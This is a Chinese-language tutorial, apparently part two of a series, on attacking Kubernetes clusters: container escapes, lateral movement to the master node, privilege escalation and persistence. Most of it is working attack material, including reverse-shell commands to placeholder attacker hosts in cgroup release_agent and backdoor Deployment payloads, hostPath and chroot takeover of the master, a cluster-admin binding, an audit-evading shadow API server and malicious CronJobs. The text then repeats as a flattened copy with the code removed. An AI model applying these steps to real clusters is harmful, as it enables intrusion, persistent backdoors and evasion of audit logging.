K8s集群安全攻防(下)
字数 3122 2025-08-20 18:17:47

Kubernetes集群安全攻防(下)——逃逸、横向移动与权限维持技术详解

文章前言

本篇文章是"Kubernetes集群安全攻防(上)"的延续,重点补充Kubernetes环境中的容器逃逸技术、横向移动方法、权限维持手段以及相关扩展技巧。

逃逸相关技术

配置不当导致的逃逸

Privileged特权模式逃逸

前置知识:

  • Security Context(安全上下文)用于定义Pod或Container的权限和访问控制
  • Kubernetes提供三种配置Security Context的方法:
    • Pod Security Policy(集群级别)
    • Pod-level Security Context(Pod级别)
    • Container-level Security Context(容器级别)

容器级别特权配置示例:

apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
    - name: hello-world-container
      image: ubuntu:latest
      securityContext:
        privileged: true

逃逸演示步骤:

  1. 拉取Ubuntu镜像:sudo docker pull ubuntu
  2. 创建特权Pod的yaml文件
  3. 创建Pod:kubectl create -f myapp-test.yaml
  4. 进入Pod进行逃逸操作:
    kubectl exec -it myapp-test /bin/bash
    fdisk -l  # 查看磁盘
    cat /proc/self/status | grep CapEff  # 查看权限
    ./cdk run mount-disk  # 使用CDK工具逃逸
    

CAP_SYS_ADMIN配置逃逸

漏洞概述:

  • Docker通过Linux Namespace实现资源隔离
  • 危险启动参数会打破资源隔离界限:
    • --pid=host:绕过PID Namespace
    • --ipc=host:绕过IPC Namespace
    • --net=host:绕过Network Namespace
    • --cap-add=SYS_ADMIN:允许mount特权操作

利用前提:

  1. 容器内root用户
  2. 容器使用SYS_ADMIN Linux capability运行
  3. 容器缺少AppArmor配置文件
  4. cgroup v1虚拟文件系统以读写方式安装在容器内部

漏洞利用步骤:

  1. 创建临时目录并挂载memory cgroup:
    mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
    
  2. 创建子目录:mkdir /tmp/cgrp/x
  3. 设置notify_no_release属性:
    echo 1 > /tmp/cgrp/x/notify_no_release
    
  4. 获取容器在宿主机上的存储路径:
    host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab`
    
  5. 创建恶意cmd文件:
    echo "$host_path/cmd" > /tmp/cgrp/release_agent
    echo '#!/bin/sh' > /cmd
    echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
    chmod a+x /cmd
    
  6. 触发执行:
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
    

CAP_DAC_READ_SEARCH逃逸

影响范围: Docker 1.0及更早版本

场景描述:

  • 早期Docker容器默认拥有CAP_DAC_READ_SEARCH权限
  • 容器内进程可使用open_by_handle_at函数对宿主机文件系统暴力扫描

漏洞复现步骤:

  1. 修改shocker.c中的目标文件路径(如改为/etc/hosts)
  2. 编译POC:gcc shocker.c -o shocker
  3. 将POC复制到容器内:docker cp /path/to/shocker container_id:/tmp/shocker
  4. 在容器内执行POC访问宿主机敏感文件

内核漏洞逃逸

常见内核漏洞:

  • CVE-2016-5195(脏牛漏洞)
  • CVE-2017-7308
  • CVE-2017-1000112
  • CVE-2021-22555
  • CVE-2021-31440(Linux eBPF)
  • CVE-2022-0185(Linux Kernel Escape)

脏牛漏洞逃逸示例:

  1. 下载测试环境:git clone https://github.com/gebl/dirtycow-docker-vdso.git
  2. 运行测试容器:sudo docker-compose run dirtycow /bin/bash
  3. 编译执行POC:
    cd /dirtycow-vdso/
    make
    ./0xdeadbeef attacker_ip:port
    

危险挂载逃逸

HostPath目录挂载

利用步骤:

  1. 确认容器具有主机系统完整权限
  2. 发现危险挂载点(如/host-system)
  3. 使用chroot获取宿主机权限:
    chroot /host-system bash
    
  4. 访问节点级别Kubernetes配置:
    cat /var/lib/kubelet/kubeconfig
    
  5. 使用kubelet配置操作集群资源

/var/log危险挂载

场景特点:

  1. Pod以可写权限挂载宿主机/var/log目录
  2. Pod的ServiceAccount有权限访问该Pod在宿主机上的日志

利用原理:

  • 在容器内创建符号链接指向宿主机根目录
  • 构造包含该符号链接的恶意kubelet请求
  • 宿主机解析符号链接导致任意文件读取

利用工具:
https://github.com/danielsagi/kube-pod-escape

Procfs目录逃逸

利用步骤:

  1. 获取容器在宿主机上的绝对路径(通过/proc/mounts)
  2. 修改/proc/sys/kernel/core_pattern:
    echo -e "|/var/lib/docker/overlay2/.../merged/tmp/.x.py \rcore" > /host-proc/sys/kernel/core_pattern
    
  3. 在容器内创建反弹shell脚本/tmp/.x.py
  4. 运行崩溃程序触发执行

横向渗透技术

基本原理

  • 利用K8s污点(Taints)和容忍度(Tolerations)特性
  • 主节点通常包含阻止Pod调度的污点
  • 系统级Pod可以容忍这些污点

横向移动步骤

  1. 查看节点信息:kubectl get nodes
  2. 确认Master节点容忍度:
    kubectl describe node master | grep 'Taints' -A 5
    
  3. 创建带有容忍参数的Pod:
    apiVersion: v1
    kind: Pod
    metadata:
      name: control-master-15
    spec:
      tolerations:
        - key: node-role.kubernetes.io/master
          operator: Exists
          effect: NoSchedule
      containers:
        - name: control-master-15
          image: ubuntu:18.04
          command: ["/bin/sleep", "3650d"]
          volumeMounts:
          - name: master
            mountPath: /master
      volumes:
      - name: master
        hostPath:
          path: /
          type: Directory
    
  4. 通过挂载获取Master控制权:
    kubectl exec control-master-15 -it bash
    chroot /master bash
    

扩展技巧

清除污点直接部署Pod到Master节点:

kubectl taint nodes debian node-role.kubernetes.io/master:NoSchedule-

权限提升技术

相关CVE漏洞

  1. CVE-2018-1002105:Kubernetes API Server权限提升
  2. CVE-2019-11247:Kubernetes API Server权限提升
  3. CVE-2020-8559:Kubernetes API Server权限提升

Rolebinding权限提升实例

  1. 部署Kubernetes Dashboard
  2. 获取默认token:
    kubectl describe secrets kubernetes-dashboard-token-xxxx -n kubernetes-dashboard
    
  3. 创建管理员ServiceAccount:
    kubectl create serviceaccount admin-myuser -n kubernetes-dashboard
    kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:admin-myuser
    
  4. 获取新token登录Dashboard

权限维持技术

Deployment特性利用

持久化原理:

  • 使用Deployment确保特定数量Pod副本始终运行
  • 即使容器被清理也能自动恢复

手动实现步骤:

  1. 创建包含恶意载荷的dep.yaml:
    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: nginx-deploy
    spec:
      replicas: 3
      template:
        spec:
          hostNetwork: true
          containers:
          - name: nginx
            image: nginx:1.7.9
            command: ["bash"]
            args: ["-c", "bash -i >& /dev/tcp/attacker_ip/port 0>&1"]
            securityContext:
              privileged: true
    
  2. 部署后门Pod:kubectl create -f dep.yaml

工具实现:

./cdk run k8s-backdoor-daemonset (default|anonymous|<token-path>) <image>

Shadow API Server技术

基本概述:

  • 创建具有API Server功能的隐蔽Pod
  • 开放更大权限且不记录审计日志

手动实现步骤:

  1. 复制kube-apiserver的YAML配置
  2. 修改关键参数:
    - --allow-privileged=true
    - --insecure-port=6445
    - --insecure-bind-address=0.0.0.0
    - --secure-port=6445
    - --anonymous-auth=true
    - --authorization-mode=AlwaysAllow
    
  3. 创建Shadow API Server Pod

工具实现:

cdk run k8s-shadow-apiserver default

K8s CronJob持久化

基本概述:

  • 利用CronJob执行周期性任务
  • 设置定时执行的恶意命令

手动实现:

apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: alpine
            command: ["/bin/sh", "-c", "malicious_command"]

工具实现:

./cdk run k8s-cronjob default min alpine "malicious_command"

推荐工具

  1. Nebula:云和DevOps渗透测试框架

    • GitHub: https://github.com/gl4ssesbo1/Nebula
  2. k0otkit:Kubernetes后渗透工具

    • 特点:使用kube-proxy镜像、动态容器注入、流量加密
  3. CDK Tools:容器环境渗透测试工具包

    • GitHub: https://github.com/cdk-team/CDK
  4. Kubesploit:跨平台后渗透利用框架

    • GitHub: https://github.com/cyberark/kubesploit

参考链接

  1. Kubernetes安全研究视频:https://youtu.be/GupI5nUgQ9I
  2. 容器逃逸实践:https://capsule8.com/blog/practical-container-escape-exercise/
  3. Linux内核漏洞利用:https://googleprojectzero.blogspot.com
  4. Metarget漏洞环境:https://github.com/Metarget/metarget
Kubernetes集群安全攻防(下)——逃逸、横向移动与权限维持技术详解 文章前言 本篇文章是"Kubernetes集群安全攻防(上)"的延续,重点补充Kubernetes环境中的容器逃逸技术、横向移动方法、权限维持手段以及相关扩展技巧。 逃逸相关技术 配置不当导致的逃逸 Privileged特权模式逃逸 前置知识: Security Context(安全上下文)用于定义Pod或Container的权限和访问控制 Kubernetes提供三种配置Security Context的方法: Pod Security Policy(集群级别) Pod-level Security Context(Pod级别) Container-level Security Context(容器级别) 容器级别特权配置示例: 逃逸演示步骤: 拉取Ubuntu镜像: sudo docker pull ubuntu 创建特权Pod的yaml文件 创建Pod: kubectl create -f myapp-test.yaml 进入Pod进行逃逸操作: CAP_ SYS_ ADMIN配置逃逸 漏洞概述: Docker通过Linux Namespace实现资源隔离 危险启动参数会打破资源隔离界限: --pid=host :绕过PID Namespace --ipc=host :绕过IPC Namespace --net=host :绕过Network Namespace --cap-add=SYS_ADMIN :允许mount特权操作 利用前提: 容器内root用户 容器使用SYS_ ADMIN Linux capability运行 容器缺少AppArmor配置文件 cgroup v1虚拟文件系统以读写方式安装在容器内部 漏洞利用步骤: 创建临时目录并挂载memory cgroup: 创建子目录: mkdir /tmp/cgrp/x 设置notify_ no_ release属性: 获取容器在宿主机上的存储路径: 创建恶意cmd文件: 触发执行: CAP_ DAC_ READ_ SEARCH逃逸 影响范围: Docker 1.0及更早版本 场景描述: 早期Docker容器默认拥有CAP_ DAC_ READ_ SEARCH权限 容器内进程可使用open_ by_ handle_ at函数对宿主机文件系统暴力扫描 漏洞复现步骤: 修改shocker.c中的目标文件路径(如改为/etc/hosts) 编译POC: gcc shocker.c -o shocker 将POC复制到容器内: docker cp /path/to/shocker container_id:/tmp/shocker 在容器内执行POC访问宿主机敏感文件 内核漏洞逃逸 常见内核漏洞: CVE-2016-5195(脏牛漏洞) CVE-2017-7308 CVE-2017-1000112 CVE-2021-22555 CVE-2021-31440(Linux eBPF) CVE-2022-0185(Linux Kernel Escape) 脏牛漏洞逃逸示例: 下载测试环境: git clone https://github.com/gebl/dirtycow-docker-vdso.git 运行测试容器: sudo docker-compose run dirtycow /bin/bash 编译执行POC: 危险挂载逃逸 HostPath目录挂载 利用步骤: 确认容器具有主机系统完整权限 发现危险挂载点(如/host-system) 使用chroot获取宿主机权限: 访问节点级别Kubernetes配置: 使用kubelet配置操作集群资源 /var/log危险挂载 场景特点: Pod以可写权限挂载宿主机/var/log目录 Pod的ServiceAccount有权限访问该Pod在宿主机上的日志 利用原理: 在容器内创建符号链接指向宿主机根目录 构造包含该符号链接的恶意kubelet请求 宿主机解析符号链接导致任意文件读取 利用工具: https://github.com/danielsagi/kube-pod-escape Procfs目录逃逸 利用步骤: 获取容器在宿主机上的绝对路径(通过/proc/mounts) 修改/proc/sys/kernel/core_ pattern: 在容器内创建反弹shell脚本/tmp/.x.py 运行崩溃程序触发执行 横向渗透技术 基本原理 利用K8s污点(Taints)和容忍度(Tolerations)特性 主节点通常包含阻止Pod调度的污点 系统级Pod可以容忍这些污点 横向移动步骤 查看节点信息: kubectl get nodes 确认Master节点容忍度: 创建带有容忍参数的Pod: 通过挂载获取Master控制权: 扩展技巧 清除污点直接部署Pod到Master节点: 权限提升技术 相关CVE漏洞 CVE-2018-1002105:Kubernetes API Server权限提升 CVE-2019-11247:Kubernetes API Server权限提升 CVE-2020-8559:Kubernetes API Server权限提升 Rolebinding权限提升实例 部署Kubernetes Dashboard 获取默认token: 创建管理员ServiceAccount: 获取新token登录Dashboard 权限维持技术 Deployment特性利用 持久化原理: 使用Deployment确保特定数量Pod副本始终运行 即使容器被清理也能自动恢复 手动实现步骤: 创建包含恶意载荷的dep.yaml: 部署后门Pod: kubectl create -f dep.yaml 工具实现: Shadow API Server技术 基本概述: 创建具有API Server功能的隐蔽Pod 开放更大权限且不记录审计日志 手动实现步骤: 复制kube-apiserver的YAML配置 修改关键参数: 创建Shadow API Server Pod 工具实现: K8s CronJob持久化 基本概述: 利用CronJob执行周期性任务 设置定时执行的恶意命令 手动实现: 工具实现: 推荐工具 Nebula :云和DevOps渗透测试框架 GitHub: https://github.com/gl4ssesbo1/Nebula k0otkit :Kubernetes后渗透工具 特点:使用kube-proxy镜像、动态容器注入、流量加密 CDK Tools :容器环境渗透测试工具包 GitHub: https://github.com/cdk-team/CDK Kubesploit :跨平台后渗透利用框架 GitHub: https://github.com/cyberark/kubesploit 参考链接 Kubernetes安全研究视频:https://youtu.be/GupI5nUgQ9I 容器逃逸实践:https://capsule8.com/blog/practical-container-escape-exercise/ Linux内核漏洞利用:https://googleprojectzero.blogspot.com Metarget漏洞环境:https://github.com/Metarget/metarget